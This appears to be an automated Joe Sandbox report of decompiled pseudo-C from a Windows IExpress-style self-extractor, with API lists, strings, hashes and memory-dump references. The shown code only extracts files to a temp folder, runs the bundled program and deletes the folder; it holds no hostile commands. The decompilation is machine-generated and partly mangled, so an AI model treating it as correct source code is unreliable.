API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-3095882572
Opcode ID: 070f65c39bbadc041cd7734d50ebfb84130ed0d7b52a411d2f347de5982dd798
Instruction ID: 89121751d843bc3a697096bf4f974c66a87783918bcae11190ade0b5ad6550e2
Opcode Fuzzy Hash: 070f65c39bbadc041cd7734d50ebfb84130ed0d7b52a411d2f347de5982dd798
Instruction Fuzzy Hash: 33419632E04315ABDF38EBB5ED4676773A8AB56790F010165F941C2191EF78CE82CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A35467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00A35467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0xa38004; // 0xb6b6972c
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0xa391e4;
					_t42 = 0x104;
					E00A31680(0xa391e4, 0x104);
					L14:
					_t13 = E00A358C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0xa39124 = 0;
							_t14 = 1;
							L24:
							return E00A36CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E00A3597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0xa38a20; // 0x0
						if(_t61 != 0) {
							 *0xa38a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0xa39124 = E00A36285();
						goto L22;
					}
					 *0xa38a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E00A353A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0xa391e4;
				E00A31781(0xa391e4, 0x104, __ecx,  &_v268);
				if(( *0xa39a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E00A3658A(_t48, 0x104, 0xa31140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E00A3658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x00a35472
0x00a35479
0x00a35481
0x00a35484
0x00a3551c
0x00a35521
0x00a35528
0x00a3552d
0x00a3552f
0x00a35539
0x00a3554d
0x00a3554d
0x00a35552
0x00a35585
0x00a35585
0x00a3558b
0x00a3558d
0x00a3559d
0x00a3559d
0x00a35557
0x00a3555e
0x00000000
0x00000000
0x00a35560
0x00a35566
0x00a35569
0x00a3556f
0x00a3556f
0x00a35581
0x00a35581
0x00000000
0x00a35581
0x00a35545
0x00a3557c
0x00000000
0x00a3557c
0x00a35547
0x00000000
0x00a35547
0x00a3548a
0x00a35490
0x00a35497
0x00000000
0x00000000
0x00a3549d
0x00a354ab
0x00a354b4
0x00a354c0
0x00a3550c
0x00a35511
0x00a35515
0x00000000
0x00a35515
0x00a354c9
0x00a354d6
0x00a354d8
0x00a354fe
0x00a35503
0x00a35507
0x00000000
0x00a35507
0x00a354da
0x00a354dd
0x00a354f7
0x00000000
0x00a354f7
0x00a354df
0x00a354e2
0x00a354f0
0x00000000
0x00a354f0
0x00a354e7
0x00000000
0x00000000
0x00a354e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A354C9
CreateDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A3553D
RemoveDirectoryA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A3556F

Part of subcall function 00A353A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A353FB
Part of subcall function 00A353A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A35402
Part of subcall function 00A353A1: GetTempFileNameA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A3541F
Part of subcall function 00A353A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A3542B
Part of subcall function 00A353A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00A35434

Strings

alpha, xrefs: 00A354F0
ppc, xrefs: 00A354E9
i386, xrefs: 00A354FE
mips, xrefs: 00A354F7
C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A3547D, 00A35481, 00A354AB, 00A3551C, 00A3553C, 00A35568

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user~1\AppData\Local\Temp\IXP000.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3881341942
Opcode ID: 5140abd72b92b45aaf5792eac7e358f7f3daf2ffe0862036f0fc8c9f551cd057
Instruction ID: b74544b7ea813a004a76d9290fdb9c4aeb1c4d1134a3cf66d5741f9fcbfae6e9
Opcode Fuzzy Hash: 5140abd72b92b45aaf5792eac7e358f7f3daf2ffe0862036f0fc8c9f551cd057
Instruction Fuzzy Hash: 5631F571F00A146BCB149FBDAD459BFB7ABBB91340F04412AF442D7550DBB4DE028691

Uniqueness

Uniqueness Score: -1.00%

Function 00A32390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00A32390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0xa38004; // 0xb6b6972c
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E00A36CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E00A31680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E00A316B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E00A31680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E00A316B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E00A316B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E00A3658A( &_v280, 0x104, 0xa31140);
								E00A32390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x00a32398
0x00a3239e
0x00a323a3
0x00a323a5
0x00a323ae
0x00a323b3
0x00a324cb
0x00a324d2
0x00a324d3
0x00a324d4
0x00a324df
0x00a323c2
0x00a323d1
0x00a323db
0x00a323e4
0x00a323f6
0x00a323fc
0x00a32401
0x00000000
0x00000000
0x00000000
0x00000000
0x00a32407
0x00a32407
0x00a32408
0x00a32411
0x00a3241f
0x00a3247a
0x00a32483
0x00a32495
0x00a324a3
0x00a32421
0x00a3242f
0x00a32453
0x00a3245d
0x00a32466
0x00a32472
0x00a32472
0x00a3242f
0x00a324af
0x00a324b5
0x00a324be
0x00a324c5
0x00000000
0x00a324c5

APIs

FindFirstFileA.KERNELBASE(?,00A38A3A,00A311F4,00A38A3A,00000000,?,?), ref: 00A323F6
lstrcmpA.KERNEL32(?,00A311F8), ref: 00A32427
lstrcmpA.KERNEL32(?,00A311FC), ref: 00A3243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 00A32495
DeleteFileA.KERNEL32(?), ref: 00A324A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 00A324AF
FindClose.KERNELBASE(00000000), ref: 00A324BE
RemoveDirectoryA.KERNELBASE(00A38A3A), ref: 00A324C5

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 26dce44e717861f701e8936492a21d5c66e60d312968179231da111c73442e7a
Instruction ID: 28679144a012c0831553f048bc3d1ddfed6dd8d00131cc1bc636db099ff5c1ce
Opcode Fuzzy Hash: 26dce44e717861f701e8936492a21d5c66e60d312968179231da111c73442e7a
Instruction Fuzzy Hash: 1E318731604750ABC320DBA4DD8ABEBB3ECAFD5305F044A2DB59586190EB74D94DC752

Uniqueness

Uniqueness Score: -1.00%

Function 00A33FEF Relevance: 10.6, APIs: 7, Instructions: 97
processsynchronizationwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E00A33FEF(CHAR* __ecx, struct _STARTUPINFOA* __edx) {
				signed int _v8;
				char _v524;
				long _v528;
				struct _PROCESS_INFORMATION _v544;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t20;
				void* _t22;
				int _t25;
				intOrPtr* _t39;
				signed int _t44;
				void* _t49;
				signed int _t50;
				intOrPtr _t53;

				_t45 = __edx;
				_t20 =  *0xa38004; // 0xb6b6972c
				_v8 = _t20 ^ _t50;
				_t39 = __ecx;
				_t49 = 1;
				_t22 = 0;
				if(__ecx == 0) {
					L13:
					return E00A36CE0(_t22, _t39, _v8 ^ _t50, _t45, 0, _t49);
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t25 = CreateProcessA(0, __ecx, 0, 0, 0, 0x20, 0, 0, __edx,  &_v544); // executed
				if(_t25 == 0) {
					 *0xa39124 = E00A36285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v524, 0x200, 0);
					_t45 = 0x4c4;
					E00A344B9(0, 0x4c4, _t39,  &_v524, 0x10, 0);
					L11:
					_t49 = 0;
					L12:
					_t22 = _t49;
					goto L13;
				}
				WaitForSingleObject(_v544.hProcess, 0xffffffff);
				_t34 = GetExitCodeProcess(_v544.hProcess,  &_v528); // executed
				_t44 = _v528;
				_t53 =  *0xa38a28; // 0x0
				if(_t53 == 0) {
					_t34 =  *0xa39a2c; // 0x0
					if((_t34 & 0x00000001) != 0 && (_t34 & 0x00000002) == 0) {
						_t34 = _t44 & 0xff000000;
						if((_t44 & 0xff000000) == 0xaa000000) {
							 *0xa39a2c = _t44;
						}
					}
				}
				E00A3411B(_t34, _t44);
				CloseHandle(_v544.hThread);
				CloseHandle(_v544);
				if(( *0xa39a34 & 0x00000400) == 0 || _v528 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x00a33fef
0x00a33ffa
0x00a34001
0x00a34008
0x00a3400a
0x00a3400b
0x00a34010
0x00a3410a
0x00a3411a
0x00a3411a
0x00a3401c
0x00a3401d
0x00a3401e
0x00a3401f
0x00a34033
0x00a3403b
0x00a340ca
0x00a340e9
0x00a340f8
0x00a34101
0x00a34106
0x00a34106
0x00a34108
0x00a34108
0x00000000
0x00a34108
0x00a34049
0x00a3405c
0x00a34062
0x00a34068
0x00a3406e
0x00a34070
0x00a34077
0x00a3407f
0x00a34089
0x00a3408b
0x00a3408b
0x00a34089
0x00a34077
0x00a34091
0x00a3409c
0x00a340a8
0x00a340b8
0x00000000
0x00a340c2
0x00000000
0x00a340c2

APIs

CreateProcessA.KERNELBASE ref: 00A34033
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A34049
GetExitCodeProcess.KERNELBASE ref: 00A3405C
CloseHandle.KERNEL32(?), ref: 00A3409C
CloseHandle.KERNEL32(?), ref: 00A340A8
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00A340DC
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00A340E9

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: CloseHandleProcess$CodeCreateErrorExitFormatLastMessageObjectSingleWait
String ID:
API String ID: 3183975587-0
Opcode ID: 773cfc288ea663a5ba700bc5e80a8b36a9b45e4e4481ef325cc7006420a1c942
Instruction ID: 23adf61d11c08c3d02366936661e338bef22f351ecda3ccc84a83ab0a82d5132
Opcode Fuzzy Hash: 773cfc288ea663a5ba700bc5e80a8b36a9b45e4e4481ef325cc7006420a1c942
Instruction Fuzzy Hash: 3731D731640218BBEB20DFA5DC4DFABB77CEBA9700F1042A9F545D21A1C6745D86CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00A32BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00A32BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				intOrPtr _t7;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				signed char _t19;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0xa3a288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0xa39124 = 0;
				if(E00A32CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E00A32F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E00A352B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0xa38a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0xa39a2c; // 0x0
							if((_t19 & 0x00000001) != 0) {
								E00A31F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0xa38588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0xa39124; // 0x0
				return _t7;
			}

0x00a32c03
0x00a32c0d
0x00a32c18
0x00a32c20
0x00a32c2e
0x00a32c32
0x00a32c36
0x00a32c3d
0x00a32c43
0x00a32c45
0x00a32c47
0x00a32c49
0x00a32c4e
0x00a32c4e
0x00a32c47
0x00a32c32
0x00a32c20
0x00a32c50
0x00a32c54
0x00a32c57
0x00a32c64
0x00a32c66
0x00a32c6b
0x00a32c6d
0x00a32c74
0x00a32c76
0x00a32c7c
0x00a32c7e
0x00a32c87
0x00a32c89
0x00a32c89
0x00a32c87
0x00a32c7c
0x00a32c74
0x00a32c8e
0x00a32c95
0x00a32c98
0x00a32c98
0x00a32c9e
0x00a32ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,00A36BB0,00A30000,00000000,00000002,0000000A), ref: 00A32C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,00A36BB0,00A30000,00000000,00000002,0000000A), ref: 00A32C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 00A32C28
CloseHandle.KERNEL32(00000000,?,?,00A36BB0,00A30000,00000000,00000002,0000000A), ref: 00A32C98

Strings

HeapSetInformation, xrefs: 00A32C22
Kernel32.dll, xrefs: 00A32C13

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 7605bf8c6f1636f03b6d3dbfb9eefce0dadd8d0287bee2ee24a68bcfc1b2b145
Instruction ID: 35af43d065ab8ab4b147f6ff7084025614a9a4b7624724cecbd619210c69e64a
Opcode Fuzzy Hash: 7605bf8c6f1636f03b6d3dbfb9eefce0dadd8d0287bee2ee24a68bcfc1b2b145
Instruction Fuzzy Hash: 0311E1316003156BD720ABF6AD89B6F3769AB88391F141125F981E3290DB71DC0387A2

Uniqueness

Uniqueness Score: -1.00%

Function 00A36F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A36F40() {

				SetUnhandledExceptionFilter(E00A36EF0); // executed
				return 0;
			}

0x00a36f45
0x00a36f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 00A36F45

Memory Dump Source

Source File: 00000000.00000002.396615809.0000000000A31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A30000, based on PE: true

Associated: 00000000.00000002.396538956.0000000000A30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396668507.0000000000A38000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.396683272.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a30000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1a8ca0753ec914fcd491db075744e5cbe87bab8f911a34967c77933cf34f5193
Instruction ID: dfafef1b37ed61b3c38199628720144b20e8e4c27a6d93666c0d13bedf9e16e8
Opcode Fuzzy Hash: 1a8ca0753ec914fcd491db075744e5cbe87bab8f911a34967c77933cf34f5193
Instruction Fuzzy Hash: A59002642511106796105BB09D1D41575916A5D603F929961B051C8494DB6140455512

Uniqueness

Uniqueness Score: -1.00%

Function 00A355A0 Relevance: 31.7, APIs: 12, Strings: 6, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00A355A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0xa38004; // 0xb6b6972c
				_v8 = _t28 ^ _t110;
				_t2 = E00A3468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E00A3468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0xa39a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0xa38b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0xa38a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E00A36517(_t82, 0x7d2, 0, E00A33210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0xa39a30; // 0x0
								if(__eflags != 0) {
									goto L46;
								} else {
									_t109 = 0xa391e4;
									_t40 = GetTempPathA(0x104, 0xa391e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E00A31781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
												_t109 = GetDriveTypeA( &_v268);
												__eflags = _t109 - 6;
												if(_t109 == 6) {
													L22:
													_t48 = GetFileAttributesA( &_v268);
													__eflags = _t48 - 0xffffffff;
													if(_t48 != 0xffffffff) {
														goto L30;
													} else {
														goto L23;
													}
												} else {
													__eflags = _t109 - 3;
													if(_t109 != 3) {
														L23:
														__eflags = _t109 - 2;
														if(_t109 != 2) {
															L28:
															_t66 = _v268;
															goto L29;
														} else {
															_t66 = _v268;
															__eflags = _t66 - 0x41;
															if(_t66 == 0x41) {
																L29:
																_t60 = _t66 + 1;
																_v268 = _t60;
																goto L42;
															} else {
																__eflags = _t66 - 0x42;
																if(_t66 == 0x42) {
																	goto L29;
																} else {
																	_t68 = E00A36952( &_v268);
																	__eflags = _t68;
																	if(_t68 == 0) {
																		goto L28;
																	} else {
																		__eflags = _t68 - 0x19000;
																		if(_t68 >= 0x19000) {
																			L30:
																			_push(0);
																			_t103 = 3;
																			_t49 = E00A3597D( &_v268, _t103, 1);
																			__eflags = _t49;
																			if(_t49 != 0) {
																				L33:
																				_t50 = E00A32630(0,  &_v268, 1);
																				__eflags = _t50;
																				if(_t50 != 0) {
																					GetWindowsDirectoryA( &_v268, 0x104);
																				}
																				_t88 =  &_v268;
																				E00A3658A(_t88, 0x104, "msdownld.tmp");
																				_t53 = GetFileAttributesA( &_v268);
																				__eflags = _t53 - 0xffffffff;
																				if(_t53 != 0xffffffff) {
																					_t54 = _t53 & 0x00000010;
																					__eflags = _t54;
																				} else {
																					_t54 = CreateDirectoryA( &_v268, 0);
																				}
																				__eflags = _t54;
																				if(_t54 != 0) {
																					SetFileAttributesA( &_v268, 2);
																					_push(_t88);
																					_t109 = 0xa391e4;
																					E00A31781(0xa391e4, 0x104, _t88,  &_v268);
																					_t101 = 1;
																					_t59 = E00A35467(0xa391e4, 1, 0);
																					__eflags = _t59;
																					if(_t59 != 0) {
																						goto L45;
																					} else {
																						_t60 = _v268;
																						goto L42;
																					}
																				} else {
																					_t60 = _v268 + 1;
																					_v265 = 0;
																					_v268 = _t60;
																					goto L42;
																				}
																			} else {
																				_t65 = E00A32630(0,  &_v268, 1);
																				__eflags = _t65;
																				if(_t65 != 0) {
																					goto L28;
																				} else {
																					_t67 = E00A3597D( &_v268, 1, 1, 0);
																					__eflags = _t67;
																					if(_t67 == 0) {
																						goto L28;
																					} else {
																						goto L33;
																					}
																				}
																			}
																		} else {
																			goto L28;
																		}
																	}
																}
															}
														}
													} else {
														goto L22;
													}
												}
												goto L47;
												L42:
												__eflags = _t60 - 0x5a;
											} while (_t60 <= 0x5a);
										}
										goto L43;
									} else {
										_t101 = 1;
										_t69 = E00A35467(0xa391e4, 1, 3); // executed
										__eflags = _t69;
										if(_t69 != 0) {
											goto L45;
										} else {
											_t82 = 0xa391e4;
											_t70 = E00A32630(0, 0xa391e4, 1);
											__eflags = _t70;
											if(_t70 != 0) {
												goto L19;
											} else {
												_t101 = 1;
												_t82 = 0xa391e4;
												_t71 = E00A35467(0xa391e4, 1, 1);
												__eflags = _t71;
												if(_t71 != 0) {
													goto L45;
												} else {
													do {
														goto L19;
														L43:
														GetWindowsDirectoryA( &_v268, 0x104);
														_push(4);
														_t101 = 3;
														_t82 =  &_v268;
														_t44 = E00A3597D(_t82, _t101, 1);
														__eflags = _t44;
													} while (_t44 != 0);
													goto L2;
												}
											}
										}
									}
								}
							}
						} else {
							__eflags = _t35 - 0x5c;
							if(_t35 != 0x5c) {
								L10:
								_t72 = 1;
							} else {
								__eflags =  *0xa38b3f - _t35; // 0x0
								_t72 = 0;
								if(__eflags != 0) {
									goto L10;
								}
							}
							_t101 = 0;
							_t73 = E00A35467(0xa38b3e, 0, _t72);
							__eflags = _t73;
							if(_t73 != 0) {
								L45:
								_t38 = 1;
							} else {
								_t101 = 0x4be;
								E00A344B9(0, 0x4be, 0, 0, 0x10, 0);
								goto L2;
							}
						}
					} else {
						_t101 = 0x4b1;
						E00A344B9(0, 0x4b1, 0, 0, 0x10, 0);
						LocalFree(_t109);
						 *0xa39124 = 0x80070714;
						goto L2;
					}
				} else {
					_t101 = 0x4b5;
					E00A344B9(0, 0x4b5, 0, 0, 0x10, 0);
					 *0xa39124 = E00A36285();
					L2:
					_t38 = 0;
				}
				L47:
				return E00A36CE0(_t38, 0, _v8 ^ _t110, _t101, 1, _t109);
			}

0x00a355ab
0x00a355b2
0x00a355c9
0x00a355d5
0x00a355d9
0x00a35600
0x00a35605
0x00a3560a
0x00a3560c
0x00a35638
0x00a35641
0x00a35643
0x00a35645
0x00a35645
0x00a3564c
0x00a35652
0x00a35657
0x00a35659
0x00a35696
0x00a3569c
0x00a3589f
0x00a358a7
0x00a358ac
0x00a358b3
0x00a358b5
0x00a356a2
0x00a356a2
0x00a356a8
0x00000000
0x00a356ae
0x00a356ae
0x00a356b9
0x00a356bf
0x00a356c1
0x00a356f3
0x00a356f3
0x00a35705
0x00a3570a
0x00a35711
0x00a35717
0x00a35724
0x00a35726
0x00a35729
0x00a35730
0x00a35737
0x00a3573d
0x00a35740
0x00000000
0x00000000
0x00000000
0x00000000
0x00a3572b
0x00a3572b
0x00a3572e
0x00a35742
0x00a35742
0x00a35745
0x00a3576b
0x00a3576b
0x00000000
0x00a35747
0x00a35747
0x00a3574d
0x00a3574f
0x00a35771
0x00a35771
0x00a35773
0x00000000
0x00a35751
0x00a35751
0x00a35753
0x00000000
0x00a35755
0x00a3575b
0x00a35760
0x00a35762
0x00000000
0x00a35764
0x00a35764
0x00a35769
0x00a3577e
0x00a3577e
0x00a35781
0x00a35788
0x00a3578d
0x00a3578f
0x00a357b2
0x00a357b8
0x00a357bd
0x00a357bf
0x00a357cd
0x00a357cd
0x00a357dd
0x00a357e3
0x00a357ef
0x00a357f5
